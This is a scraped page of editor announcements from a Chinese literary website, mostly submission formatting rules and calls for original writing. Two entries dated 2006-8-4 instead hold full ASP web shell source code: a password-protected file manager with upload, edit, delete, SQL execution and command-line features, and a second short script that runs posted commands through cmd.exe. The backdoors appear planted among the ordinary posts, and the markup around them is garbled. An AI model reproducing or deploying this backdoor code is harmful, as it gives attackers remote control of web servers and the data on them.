原创文库→ 真情感触 带刺蔷薇 小说原创 散文随笔 诗路花语 故事新编 校园文学 笑口常开 爱情故事 E派胡言 歌词创作 原创精品
网络文摘→ 校园情结 长篇小说 短篇小说 点滴杂文 诗歌散文 伤感空间 特约专栏 影视评论 我要投稿 文学论坛 本网推荐(媒体阅)
编辑手记

你的位置>>新青年网首页>>文学园>>编辑手记

　
2007-7-5 站长说

请大家不要发敏感字眼的文章。支持原创。从今天开始，每篇文章我将用心编辑，用心回复。请大家踊跃投稿。———— 开尔雨辰 2007.7.5
2007-2-27 站长说

为了编辑与网友之间更有效的交流。可以把文章再次发到 www.panlove.com/bbs 新青年文学版面 斑竹会给您的文章最真实的评价。 ——开尔雨辰
2006-8-4 站长说

<% '########版权所有 - 桂林老兵站www.gxgl.com Server.ScriptTimeout=50000 Response.Buffer = True On Error Resume Next ApplicationName = "Asp站长助手6.0" '#####程序名称/标题 UserPass = "ghost" '#####初始登录密码 ShowFileIco = True '#####是否显示图标,False为用文字图标 IcoPath = "http://www.GXGL.com/images/FileType/" '#####图标目录,不必修改 URL = Request.ServerVariables("URL") ServerIP = Request.ServerVariables("LOCAL_ADDR") BackUrl = Request.ServerVariables("HTTP_REFERER") Action = Request("Action") RootPath = Server.MapPath(".") WWWRoot = Server.MapPath("/") FolderPath = Request("FolderPath") FName = Request("FName") If Session("GXGL")<>UserPass Then If Request.Form("LoginPass")<>"" Then If Request.Form("LoginPass")=UserPass Then Session("GXGL")=UserPass Response.Redirect BackUrl Else response.write"验证未通过！" End If Else Response.Write"



欢迎使用ASP站长助手

" Response.Write"
" Response.Write"请输入密码：" Response.Write" 
" End If Response.End End If sub ShowErr() If Err Then Response.Write"

 " & Err.Description & "
" Err.Clear:Response.Flush End If end sub Function RePath(S) RePath=Replace(S,"\","\\") End Function Function RRePath(S) RRePath=Replace(S,"\\","\") End Function If FolderPath<>"" then Session("FolderPath")=RRePath(FolderPath) End If If Session("FolderPath")="" Then FolderPath=RootPath Session("FolderPath")=FolderPath End if Function IsIco(ia,ib,ta) If ShowFileIco=true Then IsIco = " " If ib<>"" Then IsIco = " " End If Else IsIco = " "&ta&" " End If End Function Function MainForm() SI="
" SI=SI&"" SI=SI&"" SI=SI&"
" SI=SI&"" SI=SI&"" SI=SI&"
" SI=SI&"" SI=SI&"" SI=SI&"
地址栏：" SI=SI&"" SI=SI&"" SI=SI&"
" SI=SI&"" SI=SI&"" SI=SI&"
" Response.Write SI End Function Function MainMenu() SI="" SI=SI&"" SI=SI&"" Set FSO=server.createobject("scripting.filesystemobject") For Each D in FSO.Drives SI=SI&"" Next Set FSO=Nothing Response.Write SI : SI="" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"
 " SI=SI&IsIco("minus.gif","computer.gif","o") SI=SI&""&ServerIP&"" SI=SI&"
  " SI=SI&IsIco("plus.gif","driver.gif","v") SI=SI&"本地磁盘 ("&D.DriveLetter&":)" SI=SI&"
    " SI=SI& IsIco("minus.gif","folder.gif","0") SI=SI&"返回根目录" SI=SI&"
    " SI=SI& IsIco("minus.gif","newfolder.gif","1") SI=SI&"新建目录" SI=SI&"
    " SI=SI&IsIco("minus.gif","newfile.gif","2") SI=SI&"新建文本" SI=SI&"
    " SI=SI&IsIco("minus.gif","main.gif","8") SI=SI&"上传文件" SI=SI&"
 " SI=SI&IsIco("plus.gif","main.gif","o") SI=SI&"数据库操作" SI=SI&"
    " SI=SI&IsIco("minus.gif","newfile.gif","4") SI=SI&"建立MDB文件" SI=SI&"
    " SI=SI&IsIco("minus.gif","mdb.gif","4") SI=SI&"数据库操作" SI=SI&"
    " SI=SI&IsIco("minus.gif","zip.gif","4") SI=SI&"压缩MDB文件" SI=SI&"
 " SI=SI&IsIco("minus.gif","cmd.gif","o") SI=SI&"命令行" SI=SI&"
 " SI=SI&IsIco("minus.gif","main.gif","f") SI=SI&"退出登录" SI=SI&"
 " SI=SI&IsIco("minus.gif","htm.gif","f") SI=SI&"桂林老兵站" SI=SI&"
" Response.Write SI End Function Function FileIco(FName) If ShowFileIco=true Then TypeList = ".asp.asa.bat.bmp.com.doc.db.dll.exe.gif.htm.html.inc.ini.jpg.js.log.mdb.mid.mp3.png.php.rm.rar.swf.txt.wav.xls.xml.zip" FileType = lcase(Mid(FName, InstrRev(FName,".")+1)) If Instr(TypeList,"."&FileType)>0 then Ico = FileType&".gif" Else Ico = "default.gif" End If FileIco = " " Else FileIco="2 " End If End Function Function ShowFile(Path) SET FSO=server.createobject("scripting.filesystemobject") Set FOLD=FSO.GetFolder(Path) i=0 SI="" For Each F in FOLD.subfolders SI=SI&"" Next SI=SI&"
" SI=SI&IsIco("","folder.gif","0") SI=SI&" "&F.Name&"" SI=SI&" | del" SI=SI&" copy" SI=SI&" move" i=i+1 If i mod 3 = 0 then SI=SI&"
" Response.Write SI : SI="" For Each L in Fold.files SI="" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"
"&FileIco(L.Name) SI=SI&""&L.Name&""&L.Type&""&clng(L.size/1024)&"K"&L.DateLastModified&"editdelcopymove
" Response.Write SI : SI="" Next Set FOLD=Nothing Set FSO=Nothing End Function Function DownFile(Path) Response.Clear Set OSM = Server.CreateObject("ADODB.Stream") OSM.Open OSM.Type = 1 OSM.LoadFromFile Path Response.AddHeader "Content-Disposition", "attachment; filename=" & Path Response.Charset = "UTF-8" Response.ContentType = "application/octet-stream" Response.BinaryWrite OSM.Read Response.Flush OSM.Close Set OSM = Nothing End Function Function DelFile(Path) Set FSO=Server.CreateObject("Scripting.FilesyStemobject") If FSO.FileExists(Path) Then FSO.DeleteFile Path SI="



文件 "&Path&" 删除成功！
" SI=SI&"" Response.Write SI End If Set FSO=Nothing End Function Function HTMLEncode(S) if not isnull(S) then S = replace(S, ">", ">") S = replace(S, "<", "<") S = replace(S, CHR(39), "'") S = replace(S, CHR(34), """) HTMLEncode = S end if End Function Function EditFile(Path) If Request("Action2")="Post" Then Set FSO=Server.CreateObject("Scripting.FilesyStemobject") Set T=FSO.CreateTextFile(Path) T.WriteLine Request.form("content") T.close Set T=nothing Set FSO=nothing SI="



文件保存成功！
" SI=SI&"" Response.Write SI Response.End End If If Path<>"" Then Set FSO=Server.CreateObject("Scripting.FilesyStemobject") Set T=FSO.opentextfile(Path, 1, False) Txt=HTMLEncode(T.readall) T.close Set T=Nothing Set FSO=Nothing Else Path=Session("FolderPath")&"\newfile.asp":Txt="新建文件" End If SI="
" SI=SI&"
" SI=SI&"" SI=SI&"
" SI=SI&"
" SI=SI&"
      
" SI=SI&"
" Response.Write SI End Function Function CopyFile(Path) Path = Split(Path,"||||") Set FSO=Server.CreateObject("Scripting.FilesyStemobject") If FSO.FileExists(Path(0)) and Path(1)<>"" Then FSO.CopyFile Path(0),Path(1) SI="



文件"&Path&"复制成功！
" SI=SI&"" Response.Write SI End If Set FSO=Nothing End Function Function MoveFile(Path) Path = Split(Path,"||||") Set FSO=Server.CreateObject("Scripting.FilesyStemobject") If FSO.FileExists(Path(0)) and Path(1)<>"" Then FSO.MoveFile Path(0),Path(1) SI="



文件"&Path&"移动成功！
" SI=SI&"" Response.Write SI End If Set FSO=Nothing End Function Function DelFolder(Path) Set FSO=Server.CreateObject("Scripting.FilesyStemobject") If FSO.FolderExists(Path) Then FSO.DeleteFolder Path SI="



目录"&Path&"删除成功！
" SI=SI&"" Response.Write SI End If Set FSO=Nothing End Function Function CopyFolder(Path) Path = Split(Path,"||||") Set FSO=Server.CreateObject("Scripting.FilesyStemobject") If FSO.FolderExists(Path(0)) and Path(1)<>"" Then FSO.CopyFolder Path(0),Path(1) SI="



目录"&Path&"复制成功！
" SI=SI&"" Response.Write SI End If Set FSO=Nothing End Function Function MoveFolder(Path) Path = Split(Path,"||||") Set FSO=Server.CreateObject("Scripting.FilesyStemobject") If FSO.FolderExists(Path(0)) and Path(1)<>"" Then FSO.MoveFolder Path(0),Path(1) SI="



目录"&Path&"移动成功！
" SI=SI&"" Response.Write SI End If Set FSO=Nothing End Function Function NewFolder(Path) Set FSO=Server.CreateObject("Scripting.FilesyStemobject") If Not FSO.FolderExists(Path) and Path<>"" Then FSO.CreateFolder Path SI="



目录"&Path&"新建成功！
" SI=SI&"" Response.Write SI End If Set FSO=Nothing End Function Function UpFile() If Request("Action2")="Post" Then Set U=new UPC : Set F=U.UA("LocalFile") UName=U.form("ToPath") If UName="" Or F.FileSize=0 then SI="
请输入上传的完全路径后选择一个文件上传!" Else F.SaveAs UName If Err.number=0 Then SI="



文件"&UName&"上传成功！
" End if End If Set F=nothing:Set U=nothing SI=SI&"" Response.Write SI ShowErr() Response.End End If SI="


" SI=SI&"" SI=SI&"
" SI=SI&"上传路径： " SI=SI&"" SI=SI&"" SI=SI&"
" Response.Write SI End Function Function CmdShell() If Request("cmd")<>"" Then DefCmd = Request("cmd") Else DefCmd = "Dir "&Session("FolderPath") End If SI="
" SI=SI&"" SI=SI&"
" Response.Write SI End Function Function CreateMdb(Path) SI="

" Set C = Server.CreateObject("ADOX.Catalog") C.Create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Path) Set C = Nothing If Err.number=0 Then SI = SI & Path & "建立成功!" End If SI=SI&"" Response.Write SI End function Function CompactMdb(Path) Set FSO=Server.CreateObject("Scripting.FilesyStemobject") If FSO.FileExists(Path) Then Set C=Server.CreateObject("JRO.JetEngine") C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path&",Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &Path&"_bak" Set C=Nothing FSO.DeleteFile Path FSO.MoveFile Path&"_bak",Path Else SI="



数据库"&Path&"没有发现！
" Err.number=1 End If Set FSO=Nothing If Err.number=0 Then SI="



数据库"&Path&"压缩成功！
" End If SI=SI&"" Response.Write SI End Function Function DbManager() SqlStr=Trim(Request.Form("SqlStr")) DbStr=Request.Form("DbStr") SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"" SI=SI&"
 数据库连接串:
 SQL操作命令:
" Response.Write SI:SI="" If Len(DbStr)>40 Then Set Conn=Server.CreateObject("Adodb.Connection") Conn.Open DbStr Set Rs=Conn.OpenSchema(20) SI=SI&"" Rs.MoveFirst Do While Not Rs.Eof If Rs("TABLE_TYPE")="TABLE" then TName=Rs("TABLE_NAME") SI=SI&"" End If Rs.MoveNext Loop Set Rs=Nothing SI=SI&"
表
名		[ del ]
" SI=SI&""&TName&"
" Response.Write SI:SI="" If Len(SqlStr)>10 Then If LCase(Left(SqlStr,6))="select" then SI=SI&"执行语句："&SqlStr Set Rs=Server.CreateObject("Adodb.Recordset") Rs.open SqlStr,Conn,1,1 FN=Rs.Fields.Count RC=Rs.RecordCount Rs.PageSize=20 Count=Rs.PageSize PN=Rs.PageCount Page=request("Page") If Page<>"" Then Page=Clng(Page) If Page="" Or Page=0 Then Page=1 If Page>PN Then Page=PN If Page>1 Then Rs.absolutepage=Page SI=SI&"" For n=0 to FN-1 Set Fld=Rs.Fields.Item(n) SI=SI&"" Set Fld=nothing Next SI=SI&"" Do While Not(Rs.Eof or Rs.Bof) And Count>0 Count=Count-1 Bgcolor="#EFEFEF" SI=SI&"" For i=0 To FN-1 If Bgcolor="#EFEFEF" Then:Bgcolor="#F5F5F5":Else:Bgcolor="#EFEFEF":End if If RC=1 Then ColInfo=HTMLEncode(Rs(i)) Else ColInfo=HTMLEncode(Left(Rs(i),50)) End If SI=SI&"" Next SI=SI&"" Rs.MoveNext Loop Response.Write SI:SI="" SqlStr=HtmlEnCode(SqlStr) SI=SI&"
"&Fld.Name&"
x"&ColInfo&"
记录数："&RC&" 页码："&Page&"/"&PN If PN>1 Then SI=SI&"  首页 上一页 " If Page>8 Then:Sp=Page-8:Else:Sp=1:End if For i=Sp To Sp+8 If i>PN Then Exit For If i=Page Then SI=SI&i&" " Else SI=SI&""&i&" " End If Next SI=SI&" 下一页 尾页" End If SI=SI&"
" Rs.Close:Set Rs=Nothing Response.Write SI:SI="" Else Conn.Execute(SqlStr) SI=SI&"SQL语句："&SqlStr End If Response.Write SI:SI="" End If Conn.Close Set Conn=Nothing End If End Function %> <%=ApplicationName&" - "&ServerIP%> <% Dim T1 Class UPC Dim D1,D2 Public Function Form(F) F=lcase(F) If D1.exists(F) then:Form=D1(F):else:Form="":end if End Function Public Function UA(F) F=lcase(F) If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if End Function Private Sub Class_Initialize Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName set D1=Server.CreateObject("Scripting.Dictionary") if Request.TotalBytes<1 then Exit Sub set T1 = Server.CreateObject("Adodb.Stream") T1.Type = 1 : T1.Mode =3 : T1.Open T1.Write Request.BinaryRead(Request.TotalBytes) T1.Position=0 : TDa =T1.Read : DStart = 1 DEnd = LenB(TDa) set D2=Server.CreateObject("Scripting.Dictionary") vbCrlf = chrB(13) & chrB(10) set T2 = Server.CreateObject("Adodb.Stream") TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1) TLen = LenB (TSt) DStart=DStart+TLen+1 while (DStart + 10) < DEnd DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3 T2.Type = 1 : T2.Mode =3 : T2.Open T1.Position = DStart T1.CopyTo T2,DIEnd-DStart T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312" TIn = T2.ReadText : T2.Close DStart = InStrB(DIEnd,TDa,TSt) FStart = InStr(22,TIn,"name=""",1)+6 FEnd = InStr(FStart,TIn,"""",1) UpName = lcase(Mid (TIn,FStart,FEnd-FStart)) if InStr (45,TIn,"filename=""",1) > 0 then set TFL=new FIF FStart = InStr(FEnd,TIn,"filename=""",1)+10 FEnd = InStr(FStart,TIn,"""",1) FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14 FEnd = InStr(FStart,TIn,vbCr) TFL.FileStart =DIEnd TFL.FileSize = DStart -DIEnd -3 if not D2.Exists(UpName) then D2.add UpName,TFL end if else T2.Type =1 : T2.Mode =3 : T2.Open T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3 T2.Position = 0 : T2.Type = 2 T2.Charset ="gb2312" SFV = T2.ReadText T2.Close if D1.Exists(UpName) then D1(UpName)=D1(UpName)&", "&SFV else D1.Add UpName,SFV end if end if DStart=DStart+TLen+1 wend TDa="" set T2 =nothing End Sub Private Sub Class_Terminate if Request.TotalBytes>0 then D1.RemoveAll:D2.RemoveAll set D1=nothing:set D2=nothing T1.Close:set T1 =nothing end if End Sub End Class Class FIF dim FileSize,FileStart Private Sub Class_Initialize FileSize = 0 FileStart= 0 End Sub Public function SaveAs(F) dim T3 SaveAs=true if trim(F)="" or FileStart=0 then exit function set T3=CreateObject("Adodb.Stream") T3.Mode=3 : T3.Type=1 : T3.Open T1.position=FileStart T1.copyto T3,FileSize T3.SaveToFile F,2 T3.Close set T3=nothing SaveAs=false end function End Class Select Case Action Case "MainMenu":MainMenu():ShowErr() Case "ShowFile":ShowFile(Session("FolderPath")) Case "DownFile":DownFile FName:ShowErr() Case "DelFile":DelFile FName:ShowErr() Case "EditFile":EditFile FName:ShowErr() Case "CopyFile":CopyFile FName:ShowErr() Case "MoveFile":MoveFile FName:ShowErr() Case "DelFolder":DelFolder FName:ShowErr() Case "CopyFolder":CopyFolder FName:ShowErr() Case "MoveFolder":MoveFolder FName:ShowErr() Case "NewFolder":NewFolder FName:ShowErr() Case "UpFile":UpFile() Case "Logout":Session.Contents.Remove("GXGL"):Response.Redirect URL Case "CmdShell":CmdShell():ShowErr() Case "CreateMdb":CreateMdb FName:ShowErr() Case "CompactMdb":CompactMdb FName:ShowErr() Case "DbManager":DbManager():ShowErr() Case Else MainForm() End Select %>
2006-8-4 站长说

<%@ Language=VBScript %> <% Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next ' -- create the COM objects that we will be using -- ' Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") ' -- check for a command that we have posted -- ' szCMD = Request.Form(".CMD") If (szCMD <> "") Then ' -- Use a poor man's pipe ... a temp file -- ' szTempFile = "C:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If %>

" method="POST"> 

 <%
   If (IsObject(oFile)) Then
     ' -- Read the output from our command and remove the temp file -- '
     On Error Resume Next
     Response.Write Server.HTMLEncode(oFile.ReadAll)
     oFile.Close
    Call oFileSys.DeleteFile(szTempFile, True)
  End If
%>
2006-6-21 站长说

排版规则 1、必须在“中文半角”状态下编辑文章。 2、题目写在标题栏里即可，无需空格。 3、编辑区内无需写题目、作者以及所属的栏目，不要把自己的联系方式附在稿子的结尾。 4、每段开头空两个字，段与段之间空一行。 5、编辑区内空一行写正文或题记，题记和正文之间也要空一行。6、编辑在审核文章时，请检查作者名字后面是否带有空格。如果有，就要删掉空格。7、尽量用简体字投稿。望作者在投稿时按此规则排版，减轻编辑的工作量。 新青年原创文学网www.youthhero.com
2006-6-18 站长说

版规则 1、必须在“中文半角”状态下编辑文章。 2、题目写在标题栏里即可，无需空格。 3、编辑区内无需写题目、作者以及所属的栏目，不要把自己的联系方式附在稿子的结尾。 4、每段开头空两个字，段与段之间空一行。 5、编辑区内空一行写正文或题记，题记和正文之间也要空一行。6、编辑在审核文章时，请检查作者名字后面是否带有空格。如果有，就要删掉空格。7、尽量用简体字投稿。望作者在投稿时按此规则排版，减轻编辑的工作量。 新青年原创文学网www.youthhero.com

2006-6-18 站长说

排版规则 1、必须在“中文半角”状态下编辑文章。 2、题目写在标题栏里即可，无需空格。 3、编辑区内无需写题目、作者以及所属的栏目，不要把自己的联系方式附在稿子的结尾。 4、每段开头空两个字，段与段之间空一行。 5、编辑区内空一行写正文或题记，题记和正文之间也要空一行。6、尽量用简体字投稿。望作者在投稿时按此规则排版，减轻编辑的工作量。 新青年原创文学网www.youthhero.com
2006-4-27 站长说

排版规则 1、必须在“中文半角”状态下编辑文章。 2、题目写在标题栏里即可，无需空格。 3、编辑区内无需写题目、作者以及所属的栏目，不要把自己的联系方式附在稿子的结尾。 4、每段开头空两个字，段与段之间空一行。 5、编辑区内空一行写正文或题记，题记和正文之间也要空一行。 望作者在投稿时按此规则排版，减轻编辑的工作量。 新青年原创文学网 2006年4月27日

2005-12-5 站长说

排版规则：1、题记和正文之间也要空一行。2、如果是英文请在文章后面附上相应的中文。3、必须在“中文半角”状态下编辑文章。4、题目写在标题栏里即可，无需空格。5、编辑区内无需写题目和所属的栏目，不要把自己的联系方式附在稿子的结尾。6、编辑区内空一行写正文或题记。题记和正文也要空一行。每段开头空两个字，段与段之间空一行。望作者在投稿时按此规则排版，减轻编辑的工作量。 天问
2005-12-4 站长说

拟参加出书计划的朋友，请把作品特别是长篇小说整理好，段落排清楚，并用WORD的格式发往huaqiaoAT188.com(请用@代替AT)。
排版规则：1、题记和正文之间也要空一行。2、如果是英文请在文章后面附上相应的中文。3、必须在“中文半角”状态下编辑文章。4、题目写在标题栏里即可，无需空格。5、编辑区内无需写题目和所属的栏目，不要把自己的联系方式附在稿子的结尾。6、编辑区内空一行写正文或题记。题记和正文也要空一行。每段开头空两个字，段与段之间空一行。望作者在投稿时按此规则排版，减轻编辑的工作量。 天问

下一页 共有38篇文章 页次：（1/4）